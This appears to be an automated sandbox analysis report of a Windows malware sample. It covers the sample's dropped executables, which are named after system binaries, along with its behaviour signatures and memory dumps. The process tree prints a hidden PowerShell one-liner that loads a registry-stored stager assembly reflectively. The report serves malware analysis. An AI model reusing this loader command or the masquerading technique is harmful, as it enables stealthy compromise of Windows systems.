Analysis
- max time kernel
9s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
26/10/2026, 14:40
General
- Target 1f21a21880cce0ab861443338b131bdf23b7368c848755d6a0134d909f60e0c8.exe
- Size 89KB
- Sample261026-r1t6taew21
- SHA256 1f21a21880cce0ab861443338b131bdf23b7368c848755d6a0134d909f60e0c8
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes a file named after a Windows system binary 1 TTPs 3 IoCs
The file runs from a user directory while carrying the name of an executable that normally only exists in System32.
- Executes dropped EXE 3 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\1f21a21880cce0ab861443338b131bdf23b7368c848755d6a0134d909f60e0c8.exe"C:\Users\Admin\AppData\Local\Temp\1f21a21880cce0ab861443338b131bdf23b7368c848755d6a0134d909f60e0c8.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe" --guard 02⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe" --guard 12⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\taskhostw.exe"C:\Users\Admin\AppData\Local\Temp\taskhostw.exe" --guard 22⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& { $k=[Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\$77config'); if($k){$b=$k.GetValue('$77stager');if($b){[Reflection.Assembly]::Load($b).EntryPoint.Invoke($null,$null)}} }""1⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& { $k=[Microsoft.Win32.Registry]::LocalMachine.OpenSubKey('SOFTWARE\$77config'); if($k){$b=$k.GetValue('$77stager');if($b){[Reflection.Assembly]::Load($b).EntryPoint.Invoke($null,$null)}} }"2⤵
- Command and Scripting Interpreter: PowerShell
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
RuntimeBroker.exe
memory/120-54-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-46-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-45-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-44-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-43-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-42-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-41-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-40-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-39-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-37-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-36-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-35-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-32-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/120-31-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-25-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-17-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-18-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-19-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-20-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-21-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-22-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-23-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-24-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-53-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-26-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-27-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-29-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/240-30-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/872-49-0x00000276DED00000-0x00000276DED22000-memory.dmp
memory/3824-34-0x00007FF843090000-0x00007FF843157000-memory.dmp
memory/3824-38-0x00007FF841810000-0x00007FF841BB1000-memory.dmp
memory/3824-13-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-12-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-11-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-10-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-9-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-8-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-7-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-33-0x00007FF843DE0000-0x00007FF844043000-memory.dmp
memory/3824-6-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-5-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-4-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-3-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-2-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-14-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-51-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-52-0x00007FF820D70000-0x00007FF821714000-memory.dmp
memory/3824-0-0x000002057DCD0000-0x000002057DCEC000-memory.dmp
memory/3824-1-0x00007FF820EFF000-0x00007FF820F00000-memory.dmp